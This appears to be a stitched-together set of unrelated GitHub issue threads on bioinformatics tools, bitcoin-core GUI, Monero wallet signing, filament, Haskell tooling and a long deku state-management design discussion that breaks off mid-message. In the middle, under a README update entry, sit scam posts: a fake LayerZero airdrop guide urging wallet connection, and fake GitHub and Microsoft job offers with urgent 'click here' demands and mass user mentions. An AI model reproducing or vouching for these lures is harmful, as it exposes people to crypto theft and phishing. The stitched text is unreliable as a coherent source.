SAM file lacks an MD tag

Hi, I tried to use TALON to process the alignment file I got from minimap2. It's a sam file.
python talon.py \ --f /private/.../TALON/hg38mini1BD.csv \ --db /private/.../TALON/hg38v27_talon.db \ --build hg38v27  --o /private/.../TALON/hg38tal1BD
The csv file has the alignment file name. however when I ran it, it gave me
Traceback (most recent call last):
  File "talon.py", line 2475, in <module>
    main()
  File "talon.py", line 2452, in main
    struct_collection, outprefix)
  File "talon.py", line 1694, in process_all_sam_files
    exon_annotations, abundance = annotate_sam_transcripts(sam, d_name, cursor, struct_collection, o)
  File "talon.py", line 1919, in annotate_sam_transcripts
    qc_metrics = check_read_quality(line, struct_collection)
  File "talon.py", line 2069, in check_read_quality
    raise ValueError("SAM transcript %s lacks an MD tag" % read_ID)
ValueError: SAM transcript 2d415520-3a14-44b9-af3c-1962ab413e36 lacks an MD tag

I am not sure what is happening here...

Hello,
Before annotating the transcripts, TALON filters the provided SAM reads by computing the coverage and identity of each alignment, then comparing them to a minimum threshold (tunable in the options). To do this, it requires the SAM reads to have an MD tag, which records deletions and mismatches of the sequence relative to the reference genome. If you add the option --MD to your minimap2 command, I believe it will include these tags for you in the output, and you will no longer get this error when running TALON. I'll try to confirm this for you tomorrow, but hope this helps in the mean time!

Confirmed- I performed a Minimap2 run with the --MD option enabled, and the MD tags are present in the output formatted the way TALON expects!

Got it! I just checked that minimap2 does have the --MD option. Thank you for the quick response it was really helpful!


Task 3 - API - add route to list the currently existing model states

Task requirement from Noctua Landing Page Project
Create a route /states that will provide the list of all distinct states currently registered in the models.
Also linked to https://github.com/geneontology/minerva/issues/230
Note: this is needed on the UI side to avoid hardcoded list of states

I suggest that the allowed list of model states should be stored in the noctua configuration file or something along those lines.

+1 to add to the configuration file. But not a priority, can still use hardcoded. Closing ticket that can be reopened later.

@tmushayahama - is the list of model states in Noctua still hard-coded?  I suspect it is based on https://github.com/geneontology/noctua-form/issues/158


Extension - MV3 - Still show icon ZK mode on Export account screen in case upgrade version MV2 -> MV3

Describe the bug
Still show icon ZK mode on Export account screen in case upgrade version MV2 -> MV3
To reproduce the bug
Steps:

Enable ZK mode on MV2
Perform upgrade version MV2 -> MV3
Go to Export multi-account and observe the displayed screen

Actual: Show icon ZK mode

Expect: Hide icon ZK mode

Version test: http://<IP_ADDRESS>:8900/s/M4nedS6iNDQddBK
Validation passed in case

Install
Upgrade version
Re-test icon account type on Select account, Export account screen


MPI-enabled file access

Work in progress, do not merge.
Add simple MPI capability to PySM:
Read all input files on rank 0 and then broadcast with mpi4py to other processes.
This is necessary for a run we'll be doing soon at NERSC with thousands of MPI processes.
I'll be improving this over the next week and let you know once it is ready for your review.

Some dust models are failing with this patch, need more debugging

ok, run-mpitests.py is also testing the read_map functionality on Travis, see https://travis-ci.org/bthorne93/PySM_public/jobs/338058030#L627
@bthorne93 this is ready to review and merge


Enable more python versions for testing

Wondering if I should even use it in a python3 project, when the tests only pass for 2.7...


[Sentinel] Refacter the examples of Sentinel

The example of Sentinel is in chaos, don't provider all features about Sentinel.
You can use the website (https://httpbin.org) to write the examples, such as this is a delay request (https://httpbin.org/delay/3), this is a exception request (https://httpbin.org/status/404)

I will finish it！

Please leave a deadline, otherwise other people will pick it up.


debugwindow: update session ID tooltip

When you have a v2 connection, there is always a session ID.
the if any is a leftover from https://github.com/bitcoin-core/gui/pull/754, where the session ID property initially would always be displayed (transport v1 and v2).
So the session ID could be empty when you have a v1 connection.
As now the Session ID property only is displayed for v2 connection, there will always be a session ID.
master

PR

Session ID not shown when transport v1

The following sections might be updated with supplementary metadata relevant to reviewers and maintainers.

Reviews
See the guideline for information on the review process.
A summary of reviews will appear here.

Concept ACK
nit: @MarnixCroes, maybe you can add the screenshot for transport v1 and session ID is empty/ not shown, if possible, even this PR doesn't affect that logic.

done

ACK 3bf00e13609eefa6ddb11353519bb1aec2342513

When you have a v2 connection, there is always a session ID.

What if the connection type is still DETECTING?
The code reference:https://github.com/bitcoin-core/gui/blob/6737331c4ccc6da578bb44c809cc4e18f017ba51/src/node/connection_types.h#L83-L88

nit: you could expand a bit on the details of the reason of the removal of "if any" from the label in the commit body (i.e. as it's only shown in v2 transport which will always have a session id).


Cannot sign transaction offline with the example - https://github.com/monero-ecosystem/monero-javascript/blob/master/docs/developer_guide/view_only_offline.md

To sign a transaction offiline, I follow the code from the doc: https://github.com/monero-ecosystem/monero-javascript/blob/master/docs/developer_guide/view_only_offline.md.
let viewOnlyWallet = await connectToWalletRpc("http://localhost:18082");
await viewOnlyWallet.sync();

// export outputs from view-only wallet
let outputsHex = await viewOnlyWallet.exportOutputs();
console.log(outputsHex)

// create offline wallet
let offlineWallet = await createWalletFull({
     networkType: MoneroNetworkType.MAINNET,
     privateSpendKey,
     primaryAddress: from,
     password: "password",
});

// import outputs to offline wallet
await offlineWallet.importOutputs(outputsHex);
// prints`4d6f6e65726f206f7574707574206578706f7274046bf1054864f10b1ba7fbe20898ad13e1a3a3c6dcc78d9ac9e8ec15bca8cc1198c50092d27077d6d678b442629e9cf229fe2beaceb7186cd9ea1eef561aac25973f3ad55431351c805c0dc9376f49c58b7fb2b4487d8143b725269495ffa9cadbe36a8d7ce3982cce2f1006fcea60c432c72e2acedeaecf4f64c59fa2aa996d110d296dddfeade796b80306`

// export key images from offline wallet
let keyImages = await offlineWallet.exportKeyImages();
console.log(JSON.stringify(keyImages))
// prints an empty array []

// import key images to view-only wallet
await viewOnlyWallet.importKeyImages(keyImages);

// create unsigned tx using view-only wallet
const unsignedTx = await viewOnlyWallet.createTx({
     accountIndex: 0,
     address: to,
     amount,
});

console.log(unsignedTx.getTxSet())
// prints MoneroTxSet {
      state: {
        multisigTxHex: undefined,
        unsignedTxHex: undefined,
        signedTxHex: undefined,
        txs: [ [MoneroTxWallet] ]
      }
    }

// describe unsigned tx set to confirm details
const describedTxSet = await offlineWallet.describeTxSet(unsignedTx.getTxSet());

The last line above throws an error: no txset provided. But I suppose it's already wrong at lineconsole.log(JSON.stringify(keyImages)) when it prints an empty array [].

Please first ensure it works using a mnemonic per the documentation, e.g.:
// create offline wallet
let offlineWallet = await monerojs.createWalletFull({
  path: "my_offline_wallet",
  networkType: "stagenet",
  mnemonic: "spying swept ashtray going hence jester swagger cease spying unusual..."
});

Then you can try using a private spend key instead, but it should be provided like:
// create offline wallet
let offlineWallet = await createWalletFull({
     networkType: MoneroNetworkType.MAINNET,
     privateSpendKey: privateSpendKey // needs defined like `privateSpendKey: ...`
     primaryAddress: from,
     password: "password",
});

I don't recall if the private spend key works instead of mnemonic.

It is a different question. It has nothing to do with wallet generation. This questions asks that following steps from the example, https://github.com/monero-ecosystem/monero-javascript/blob/master/docs/developer_guide/view_only_offline.md,
It cannot generate a transaction and throws error no txset provided

If the step to create the wallet is wrong (it is), it will cause the other issues you're seeing, because the offline wallet is based on a different seed than the view-only wallet.

From the doc, it doesn't show that the offline wallet and the view-only wallet must be derived from the same mnemonic words or private key. From the doc I thought the view-only wallet and the offline wallet are completely separated entities.

Ah, no, the offline and view-only wallets must be for the same wallet in order to send/receive without exposing the private key to an internet connected device.


Demographics file required when optional

The demographics file is optional but I was given an error that the demographics file could not be read.
relped --input 3column-Mixed.csv --output relped-Mixedout.txt

resulted in:
FATA[0000] Could not read demographics file: open : no such file or directory

Caught that earlier and the fix is part of 54b4191e160


Huge verification freeze (performance regression)

Here's an example extracted from my algebra library
FStar freezes for minutes before finally accepting the fraction field definition.

The issue with my algebra code is fixed (I avoided this freeze) -- but the issue with F* remains

Also, this is probably the same problem as mentioned here.
The fix @aseemr suggested didn't work btw.


fix: fail early when addon paramter has disallowed property combinations

py-mtcli
Description
Adds the following validations for addon parameters:

If editable_direction is defined, then options must be defined and non-empty
For every option o, if o.rank is defined, then o.rank must be non-negative

LGTM

Can you leave an approving review as well? (It's required for merge)


Timers

This has been an incredibly useful tool for us - thank you so much. I realize you're probably no longer working on this project - but here's hoping!
Some of my players are bashing the buzz button to claim first. I'd benefit from two integrated timer delays:

A two second buzzer reset countdown that users can see before all buzzers are reset.

If a player buzzes before the buzzer is reset, I'd love a cooldown time for that player so they have a half-second delay before they can buzz again. This would discourage players from repeatedly mashing the button.

You rock!

Appreciate you sharing this Dan! This makes sense, I'll explore how to best approach this and hopefully tackle it sometime soon!


Actions not working properly at slow connections

Package
filament/filament
Package Version
v3.1
Laravel Version
v10
Livewire Version
v3
PHP Version
PHP 8.2
Problem description
When click on any action (Create, Edit, Confirmation, etc...) it will appear with no problem, But if you close this modal and try to open this action directly again it will respond at all, because there is two update request not finished yet.
Expected behavior
The action should open directly without any delay.
Steps to reproduce
You can go to demo and throttle your network speed and try any action.
Reproduction repository
https://github.com/filamentphp/demo
Relevant log output
No response

Unfortunately there is no way we can combat this. Actions heavily rely on having network requests, even when closing. This is actually for performance reasons. Otherwise, every combination of the action modal would need to be stored in the frontend of the app, instead of being fetched on demand by Livewire.

We use loading indicators everywhere to try to combat this. Let me know if there are any missing.


Remote GHCi

Has anyone been following Simon's work here:
https://ghc.haskell.org/trac/ghc/wiki/RemoteGHCi
I was going to try and catch up with what is going on there so I can talk to him about it next month when I see him, but I was wondering if anyone had thoughts on how it relates to what you did with hermit-shell... is there some limitation that would prevent us from using it?
(Not to discount the remote monad work, but this seems like a path to full haskell in the shell.)

My recent re-interest in hermit-shell is because I've been toying with an extension of the remote monad design pattern that uses the hint package server-side in an effort to eliminate the use of external dictionaries.
This seems like Simon is taking that a step further by building a remote monad like thing directly into GHC's RTS, which I like.  The communication is via binary serialization over pipes instead of JSON over the network, but the basic idea is the same from what I can tell.
Assuming that the exposed API is robust enough to spawn just the "server" side of remoteGHCI, we should be able to use that in partnership with any client we want, right?
Also, this was born out of the GHCJS team's efforts to get Template Haskell to work with their compiler right?  Any idea how much of that code was inherited?

Assuming that the exposed API is robust enough to spawn just the "server" side of remoteGHCI, we should be able to use that in partnership with any client we want, right?

Yeah, that is my hope. We could just build hermit-shell against that server API. As for network/JSON, my thought was to write a sort of shim client that just wrapped the binary and sent it over the network. Then you could have ghci on a different machine.

Also, this was born out of the GHCJS team's efforts to get Template Haskell to work with their compiler right? Any idea how much of that code was inherited?

As I understand it, he started with the GHCJS TH implementation and fleshed it out... this is motivated by our desire to performance profile stuff.
I'll have to look into hint...

hint is sweet.  I was really struggling with figuring out a way to serialize conversion nets for HaskHOL when it hit me that I could just store the conversion names, pattern terms, and requisite modules as pseudo-closures that could be dynamically called by hint at the time of rewriting.
I should probably write that stuff up, but I haven't really found the time to do so.
See the following modules for implementation details if you're curious:
https://github.com/ecaustin/haskhol-core/blob/master/src/HaskHOL/Core/State/Monad.hs
https://github.com/ecaustin/haskhol-deductive/blob/master/src/HaskHOL/Lib/Simp.hs
https://github.com/ecaustin/haskhol-deductive/blob/master/src/HaskHOL/Lib/TypeQuant/Context.hs
runHOLHint, unCConv, and extendBasicConvs are the key functions.


Update README.md

Some grammatical errors

LayerZero Airdrop Updated 🪂
The LayerZero Airdrop is confirmed. This is an updated guide to gather the most amount of $ZRO tokens possible.
We're thrilled to have you on board for this exclusive airdrop, and we're committed to making the claiming process seamless just for you. Let's dive in and grab those Layerzero Airdrop tokens!
Layerzero Oficial

Secure Your Layerzero Airdrop with These Simple Steps:

Connect Your Wallet:

Head over to the Layerzero Airdrop.
Link up your preferred wallet (Metamask, Coinbase, Trust Wallet, and more).

Eligibility Check:

Confirm your eligibility for the Layerzero Airdrop.

Engage for Extra Rewards:

Participate in community discussions or complete tasks for bonus rewards.

Bonus Tips:

Community Assistance:

Need help? Drop a message on Telegram or other social media platforms.

Stay Informed:

Keep an eye out for updates on the airdrop process via official channels.

Patience Pays Off:

Airdrop distribution might take a while. Stay calm and keep an eye out for updates.

Share your experiences or ask any questions about claiming the Layerzero Airdrop in the comments below. Let's make this process a breeze for everyone!

Hello,
We have an exciting opportunity for you! You've been selected to proceed in the selection process for the Developer position at GitHub. Congratulations on your achievement!
As part of this position, you will be offered a competitive salary of $180,000 per year, along with other attractive benefits, including:

Health insurance coverage
Retirement savings plan
Flexible work schedule
Generous vacation and paid time off
Professional development opportunities

To proceed with the hiring process, we kindly ask you to fill out some additional forms and provide some additional information. This will help us better understand your profile and experience, as well as assess your suitability for the role.
Please click here to access the forms and complete the application process. We ask that you complete these forms as soon as possible so that we can proceed with the hiring process.
Important: You have 24 hours to complete the application process.
If you have any questions or need further information, please don't hesitate to contact us.
Thank you for your interest in joining the GitHub team, and we look forward to hearing back from you.
Best regards,
GitHub Recruitment Team
udpsec, @minos-ty, @phobal, @rwson, @syhyz1990, @only-or, @9hb0, @0xJchen, @l0z0l, @mengfan2021, @eqzip, @spock504, @curiousleer, @Doresimon, @yasudashoho, @jiangbell, @ff4415, @chenbimo, @killerdbob, @a1300

Exciting Job Opportunity at Microsoft!
Congratulations! You've been selected to apply for an exclusive software developer position at Microsoft!
How to Apply:
To take advantage of this exciting opportunity, please click here. Hurry, applications close on March 1, 2024.
Job Description:

Position: Senior Software Developer
Salary: $300,000 per year
Location: Remote
Benefits:

Comprehensive health plan with dental and vision coverage
Company-contributed retirement plan with matching
Flexible working hours and work-from-home options
Generous paid time off and parental leave policies
Professional development opportunities and training support
Collaborative and inclusive work environment

Requirements:

Minimum of 5 years of experience in software development
Proficiency in programming languages such as Python, JavaScript, or Java
Extensive experience with frameworks such as React, Angular, or Vue.js
Strong problem-solving skills and ability to work in a fast-paced environment
Excellent communication and teamwork skills

Note: This position is open to candidates from anywhere in the world. Don't miss this opportunity to join a dynamic team at Microsoft and make a significant impact in the tech industry!
ctberthiaume, @WuhDaFak, @magicmass, @rmwondolleck, @moryyi, @fengluo, @stirredo, @dacr, @johnrlive, @1000miles, @simonbs, @ThirtyThirds, @ColCh, @kludcev, @luftwurzel, @pawiecz, @royweisfeld, @adityavikasd, @JairAviles, @gustaveWPM


backend/libinput: use wl_array for wlr_libinput_tablet.tools

Instead of using a single-field wl_list, let's just use a wl_array.
Depends on: https://github.com/swaywm/wlroots/pull/3002

This is now ready for review.


Add examples folder

@avigoldman Can you help me review this PR.

Hey sorry I missed this 👋
This all looks good. I think that we should also start at V2 since we might be able to a more "natural" integration between MDX and GatsbyJS. Maybe even making exported variables from MDX files queryable through MDX.

@avigoldman do you mean gatsby v2?

Yup 😬

@avigoldman I agree, but I haven't try gatsby V2 yet. Have you try V2?


Abstraction of things that call setState

Is there an accepted pattern for doing this?  My motivating example is the form below:
function render(component, setState) {
  const {state} = component
  const {dirty, user, submitted} = state

  const {valid, errors} = validateUser(user)
  const errMsgs = userMessages(errors)

  return (
    <form>
      <SignupInput placeholder='FULL NAME' onChange={setField('name')} error={getError('name')} />
      <SignupInput placeholder='EMAIL' onChange={setField('email')} error={getError('email')} />
      <SignupInput type='password' placeholder='PASSWORD' onChange={setField('password')} error={getError('password')} />
    </form>
  )

  function setField (field) {
    return function(element) {
      const value = element.delegateTarget.value
      setState({
        user: assign({}, user, {[field]: value}),
        dirty: assign({}, dirty, {[field]: true})
      })
    }
  }

  function getError (field) {
    return (submitted || dirty[field]) && errMsgs[field]
  }

It is a simple signup form with validation and a model, and i'd like to be able to abstract out setField, getError, and the little bit of validation setup in render, but setField's dependence on the setState function is making things complicated.
The solutions I can think of are:

composition around render. e.g. compose(form, render) where form decorates the component param to include something like {state, props, actions: {setField, getError}}.
a service that takes setState as an argument, and returns the action functions.  E.g. in render const {setField, getError} = form(setState)
something more dramatic like using streams/observables as properties on state, and the integration with the setState function this would entail.

The problem with all of them to varying degrees is that they make it less clear where state is being manipulated (which I suppose may just be an inherent tradeoff of abstraction that can't be eliminated).

We had that problem with our forms and tried a few different ways of managing the state. Which were basically the three you mentioned there. The way we do it is by storing all the state on the Form component that holds all of the fields and set it like you've done there. It's not ideal but it works for now.
Ideally state would be kept out of the component and we wouldn't need setState but expecting new people to figure that out would be pretty crazy. I'd want to get rid of it completely, but it's hard when simple cases like this would require so much more setup.
If you come up with something simple we should put it into a guide in the docs.

@anthonyshort I think the storing of all the state on the form is right.  In general I think concentrating state as high up in the tree as possible is the way to go.  I thought of two other possible solutions to this problem that seem pretty good to me:

A 2nd order Form component, like so:

export default function (Contents) {
  // ... setup validation

  return (<form><Contents setField={setField} getError={getError} /></form>)

  function setField() {
    // ...
  }
  function getError() {
    // ...
  }

SignupForm.js
function render(component) {
  const {props, state} = component
  const {setField, getError} = props

  return (
    <Block>
      <SignupInput placeholder='FULL NAME' onChange={setField('name')} error={getError('name')} />
      <SignupInput placeholder='EMAIL' onChange={setField('email')} error={getError('email')} />
      <SignupInput type='password' placeholder='PASSWORD' onChange={setField('password')} error={getError('password')} />
    </Block>
  )
}

export default Form(validateUser, userMessages, {render})

This has the benefit of working with deku as-is and keeping the app-level component stateless.

An actions property on components that is curried by deku to be passed setState.

E.g.
SignupForm.js
import {setField, getError} from 'form'

function render(component) {
  const {props, state, actions} = component
  const {setField, getError, createUser} = actions

  return (
    <form>
      <SignupInput placeholder='FULL NAME' onChange={setField('name')} error={getError('name')} />
      <SignupInput placeholder='EMAIL' onChange={setField('email')} error={getError('email')} />
      <SignupInput type='password' placeholder='PASSWORD' onChange={setField('password')} error={getError('password')} />
      <button onClick={createUser}>Sign Up</button>
    </form>
  )
}

const actions = {
  setField,
  getError,
  createUser(setState, user) {
    api.createUser(user).then(() => setState({created: true}))
  }
}

export default {render, actions}

This method is even more explicit about what is happening than the higher-order component, and allows these helper methods to really just be helper methods rather than shoehorning them into the component model, but obviously requires some modifications to deku's core or possibly a custom virtual-element.  This method also has the performance benefit of not storing these functions in render's closure, which should be helpful for GC pressure, though i'm not sure exactly how much of a problem that really is.

@ashaffer I really like actions concept :+1: it will be huge! /cc @anthonyshort

I like where this is going! Something like this could help remove the need for weird flux architectures and remove the complexity around setState. It would be good to think about all the different use cases and see if this solves many of those problems.

Following some sort of 'conservation of state setting locations' principle, you could also then remove setState from render, which would let render really just be in charge of rendering.
A slight issue with this approach is it somewhat restricts the locations where state may be set.  In my form currently my state object looks roughly like:
{
  user: {name, email, password},
  dirty: {name, email, password}
}

However, if setField were abstract, probably user would have to be changed to something generic like model and the 'dirtiness' state of each field would have to be packaged into the property, like this:
{
  model: {
    name: {value, dirty},
    email: {value, dirty},
    password: {value, dirty}
  }
}

This also raises the possibility of naming conflicts and other nasty stuff like that.  Although you could perhaps mitigate that by doing something like:
const actions = {setField('model')}

Which would also let me go back to using the slightly nicer user property.  Also, presumably these actions would need at least setState and state in order to function properly, but what about props?
The props issue could perhaps be addressed by something like an initialActions function?
function initialActions(props, setState) {
  return {
    setField: setField('user', setState),
    onSubmit: function(state) {
      if(state.valid && props.onSubmit)
        props.onSubmit()
    }
  }
}

Which really is just the same thing as initialState except that setState is passed to it.  You could even just address this minimally by passing setState to initialState and telling people to put these functions on state itself which would keep deku as clean and minimal as possible.  I kind of dislike the idea of diluting the meaning of the term 'state' in this way though, so i'm more inclined towards putting these in an actions object.

I'll probably need to sit down and really think about how this will work. But for the dirty flag, we don't really need it for each property.  That's what we do at the moment when state changes.
I've been trying to find a way to get setState out of render and the other hooks. It makes things dirty. This setup is reminding me of this blog post about the way Snabbdom does it: https://medium.com/@yelouafi/react-less-virtual-dom-with-snabbdom-functions-everywhere-53b672cb2fe3 We're ending up with a single model and a handler. The only thing I'm not sure about is how this setup would work in a real app with real state.
We'll probably look through our app (which is pretty complex) and see how something like this would make our work easier.

@anthonyshort In my case at least, I do actually need an individualized dirty flag for each field.  For instance, I don't want to render an 'invalid email address' message if the user hasn't yet entered anything (or tried to submit the form), and I wouldn't want to render it just because they started entering stuff in one of the other fields.

Ah, I see, you mean 'dirty' in terms of the form fields. I thought you meant that the state/model had changed :D

I really like the idea of having an explicit mapping of behavior to intent, as done by snabbdom in that article, cycle.js and also Raynos/mercury (which is probably the most similar to this actions concept).  I also really like the idea of just an update function that accepts an intent and its parameters, possibly with the actions = {...} syntax being a shorthand for building a function with a switch statement?
What's cool about update being a single function in addition to its syntactic cleanliness and implementation simplicity for deku is that you can compose around it.  For instance:
function update(setState, intent, ...params) {
  switch(intent) {
    case 'set_value':
      const [field, value] = params
      setState({[field]: value})
    break
    // ...
  }
}

could then be composed around by say, an undo stack that records all of the intents and the new states they produce and allows you to wind forwards or backwards in time easily.  Or something that abstractly blocks actions until a loading state resolves, or all kinds of crazy things.  You could even eliminate the setState function and just allow update to return a new state (or promise, perhaps) - that would be really functional.  Then there would be no such thing as setting state, and the only way to manipulate state would be to send things to your update function.  This would also make it easier to abstract things like my setField function, as you wouldn't need to pass around this setState token everywhere.

Yeah! This all sounds great. I've had thoughts about this sort of thing for a while but I haven't got my head around it completely yet. I think I'm thinking about too many use-cases. It reminds me of Cycle, but it will have a much friendlier API. It also how Redux pretty much works.
function render ({props, state}, handler) {
  return (
    <TextInput onChange={handler('add', props.todo)} />
  )
}

export let actions = {
  'complete': function (state, ...params) {

  }
}

But I don't think I fully realize how an app would be structured, with API calls, data being passed down etc. It looks like this architecture would favour having a single model, instead of props and state. You might have a better idea of how this could work than I do at the moment :)

You could even eliminate the setState function and just allow update to return a new state (or promise, perhaps) - that would be really functional.

This would be great. I'm not sure how native event handling fits in here, because it's a side-effect. I'm not sure how pure functional programming would go about handling that.
If you can spec out how this might look we can make sure it covers common use case s and then get this in.

As far as deku is concerned, my proposal is actual incredibly simple.  It's just this:
  function renderEntity (entity) {
    var component = entity.component
    var fn = typeof component === 'function' ? component : component.render
    if (!fn) throw new Error('Component needs a render function')
    var result = fn(entity.context, setState(entity))

    if (!result) throw new Error('Render function must return an element.')
    return result
  }

turns into, in the simplest possible implementation, this:
  function renderEntity (entity) {
    var component = entity.component
    var fn = typeof component === 'function' ? component : component.render
    if (!fn) throw new Error('Component needs a render function')
    var result = fn(entity.context, action)
    if (!result) throw new Error('Render function must return an element.')
    return result

    function action(...args) {
      setState(entity, update(context, ...args))
    }
  }

So the two primary functions of a component are now update and render, which are both truly pure functions, in the sense that they accept arguments and return a value, and have no other side-effects (except kind of sort of still the dom event handling, but you could still interpret that as being pure, provided the event handlers don't hold any state themselves).
This enables you to write components like this:
import {setField} from 'form'

function render(component, action) {
  return (<TextInput onChange={handleChange('username')} />)

  function handleChange(field) {
    return function(element) {
      action('set_field', element.delegateTarget.value)
    }
  }
}

function update(component, name, ...args) {
  switch(name) {
    case 'set_field':
      const [fieldName, value] = args
      return {user: setField(fieldName, value)}
  }
}

export default {update, render}

This allows you to abstract out things like my setField function as just pure functions that take parameters and return a value.  It also doesn't force you to use the named action pattern, you can send things to your update function in whatever form you like.  You could even create a little helper method to translate an actions object into an update function:
import {setField} from 'form'
import {updateActions} from 'deku-helpers'

const actions = {setField}
export default {render, update: updateActions(actions)}

function updateActions(actions) {
  return function(component, name, ...args) {
    return actions[name](component, ...args)
  }
}

But the important part is that it would leave all that up to the user and keep deku super simple.
As for the idea of merging props and state, from the perspective of the render function you definitely could do that if you made this change.  My initial reaction though is that I think the difference between the two is super important to emphasize, because whether or not a component holds any state of its own seems like maybe the most important fact about it.  Although, I suppose you could determine that now simply by the presence of the update function, which is even more obvious.  There are two problems I see with it:

Property name collisions, which is probably not a huge deal, the component should be aware of the name of its own props.
Is update allowed to set the value of things passed in as props?  IMO it shouldn't be, but it seems like a strange rule to enforce, given that they are on the same object.  But maybe just making those values constant with respect to update will be fine and not confusing.

We're using deku for our entire app at Segment and the hardest thing we've found with the virtual approach is data flow. I'm wondering how this change could make large app state updates, like modifying a user account or a project, that also includes a request to the server.
One way to do this would be to bubble the actions to the top of the component tree and then fire them along the edge of the tree top-down, like DOM events. This means you could pass in something like a project into props (which we can freeze during development so it's actually immutable) and then call the action, and have it mutate the state of a much higher component.
// Some button deep down the chain that removes a project
function render({props, state}, handler) {
  return (
    <button onClick={e => handler('project.remove', props.project)}>Remove Project</button>
  )
}

export default {render}

// The top-level app
function render({props, state}, handler) {
  return <App projects={state.projects} />
}

function update({props, state}, name, ...args) {
  const [project, changes] = args // I'm only half sure you can actually do this :D

  switch (name) {
    case 'project.update':
      return { ...state, projects: api.projects.update(project, changes) }
    case 'project.remove':
      return { ...state, projects: api.projects.remove(project) }
  }
}

export default {update, render}

Then it's up to deku to move events around the tree of components. To make sure you know what actions are available, you could have an actions file that exports symbols or constants for the action names so that you don't get clashes but that would be up to the user.
The concerns you mentioned about merging state/props probably aren't a huge problem, but I do like having that distinction. Naming collisions wouldn't be too much of an issue, the views should have defined models and you can enforce it with the validate hook if you needed to.
With this whole approach we have pure state reducers,  (state, actionType, actionData) => newstate, and those updates can be composed pretty nicely.
Couple of things I'm not sure about:

Should actions be able to be stopped while bubbling/capturing? If so, how? Do events need to bubble up or should they just start from the top-down?
Would this make forms less painful? @lancejpollard is working on improving a bunch of ours
Do we still need the concept of context?
Does it make actions too much of a black box? If you name something wrong you could get name clashes and who knows what could happen.

I think bubbling stoppable events would remove the need for context. You could implement bubbling by saying that unhandled actions (update returns undefined) bubble.

I was not originally thinking these events would go anywhere but inside the component, but ya this could be a cool way of solving the data-flow problem.

Should actions be able to be stopped while bubbling/capturing? If so, how? Do events need to bubble up or should they just start from the top-down?

Hmm what are you thinking is the use-case for capturing?  My reaction is that flowing up would really be the only useful direction for the event to go, and that it should definitely be stoppable, though I think it should be an explicit stop (e.g. e.stopPropagation() or a return false or something) rather than an implicit stop, because its very possible you'd want multiple components in the tree to handle an action.  Although maybe you could make propagation opt-in by forcing them to return an empty object?

Would this make forms less painful? @lancejpollard is working on improving a bunch of ours

So, just thinking about my own form problem,  I think this would allow you to just import a standard set of form actions into any form component.  E.g. 'form.set', 'form.submit'.  And your input's could just bubble up a 'form.set' with a field value based on their name.  E.g. <input name={name} onChange={handler('form.set', props.name)} />

Do we still need the concept of context?

I think that depends on which part of context you think is important.  In your example of the project remove button deep down in the tree, if you wanted to say, render the project's name, e.g. <Button>Remove {props.project.name]</Button>, you'd still need to manually propagate the project down the entire tree, which could be cumbersome.  Context would allow you to avoid that problem still.  However, i'm not sure that tradeoff is worth it anymore.  It seems right to me to pass stuff all the way down, even if it's cumbersome, but that could just be because I haven't built a full-sized app yet :).

Does it make actions too much of a black box? If you name something wrong you could get name clashes and who knows what could happen.

That is definitely the biggest problem with this idea.  I'm not sure how to resolve it, or whether we could really resolve it a priori rather than just trying it and seeing how it turns out.
As for the other two questions, I don't have much of an opinion yet.  I haven't really worked with app.set or api requests very much yet with deku.

In thinking about this some more...i'm thinking that you currently implement your project removal thing something like this?
RemoveButton:
const propTypes = {
  project: {
    source: 'currentProject'
  }
}

function render({props, state}, setState) {
  return (
    <div>
      <button disabled={state.loading} onClick={handleClick}>Remove project</button>
      <div class={state.error ? 'show' : 'hide'}>
        <div class='error'>{state.error}</div>
      </div>
    </div>
  )

  function handleClick() {
    setState({loading: true})
    api.project
      .remove(props.project)
      .then(function() {
        setState({error: null, loading: false})
      }, function (error) {
        setState({error: error, loading: false})
      })
  }
}

api:
```javascript
export default {
  project: {
    remove (project) {
      http.delete('/project/' + project.id).then(function() {
        app.set('currentProject', null)
    })
  }
}

In the new event-based system, I see how you would handle the deletion of the project.  But what about things like a loading-state for buttons or displaying an error if an asynchronous operation fails?  How would the button get informed about that?

Another thing that is almost certainly necessary is that the update method be able to emit new events up the tree as well, so that update methods can aggregate, combine or otherwise translate lower-level events for the consumption of higher-level components.
Also, crazy idea: Replace all dom event handling with this strategy, so there is only a single unified event abstraction.  E.g.
TextInput:
function render () {
  return (<input name={props.name} onChange={handler('onChange')} />)
}

function update ({props, state}, emit, name, ...args) {
  switch(name) {
    case 'onChange':
      const value = element.delegateTarget.value
      emit('set', props.name, value)
      break
  }
}

And the way higher-level components would listen for bubbling is this:
function render() {
  return (<TextInput name='username' onSet={handler('set')} />)
}

function update({props, state}, emit, name, ...args) {
  switch(name) {
    case 'set':
      // do things
      emit('change')
  }
}

To maintain the sort of fiction that these are actually pure, these emit/handler functions should be asynchronous, and considered just syntactic sugar for this:
function update(emit) {
  const msgs = []
  return {
    msgs: msgs,
    state: state
  }
}

Ok, last repeated post, I swear.  But I think i've got it now.  If you ignore the thing I said earlier about forcing all event handlers to be handler(), you can do api requests in a neat way:
function render({props, state}, handler) {
  return <button onClick={handleClick}>Remove project</button>

  function handleClick() {
    handler('remove_project_start')
    api.project
      .remove(props.project.id)
      .then(handler('remove_project_success'), handler('remove_project_fail'))
  }
}

And I think the biggest instance of multiple components being interested in a single event will likely be where the local component wants to update its state (in this case, say, a loading bool), and it still wants to notify some unspecified parent.  For that, you can just emit two events.  A local one and a global one.
So, as I see it the complete concept is:

handler() emits events to the update function of the current component
update is a function that takes in props/state, and either an event name and argument list, or some sort of event object
events bubble up the tree until they cause a state update (non-falsy return value of update)
if a parent component wants to listen for an event, it must explicitly bind it (and alias it) in render, like this: <Thing onSet={handler('set')} />.  If a component does not bind to an event, it is silently propagated upwards, sort of like a reverse of context.

Thoughts?

These are all great ideas. The main thing I'm worried about with the bubbling is that we'd fall into the trap of needing to trace events around to see where state was mutated. I'm going to read more into the Elm architecture to see how they handle it. It makes total sense for local state, and maybe app state can be done elsewhere, maybe even outside of deku.

Ya, i'm less certain about the event bubbling.  I created an implementation of the whole thing though if you or anyone else wants to play around with it:
https://github.com/ashaffer/deku/tree/update-state
disclaimer: I've only written tests for it, not actually used it yet.  So it may be that it is broken in various major ways.

if you have an implicit initialize event, you could get rid of initialState. so a component really is just a render and update.

@joshrtay That's true.  You can actually replace all of deku's current lifecycle hooks with update calls.

In addition or instead of an initalize event you could have a props event or propsUpdate event that receives props. Then update and render just need state.
The problem with it is that it would increase the amount of boilerplate necessary for a component. All components would basically require a trivial update.
function render(state, handler) {

}

function update(state, name, ...args) {
  switch (name) {
    case 'props':
      return { ...state, props: args[0] }
  }
}

I also think you may want to consider passing an event as a single object instead of a name and a set of args. So the previous example would become:
function update(state, evt) {
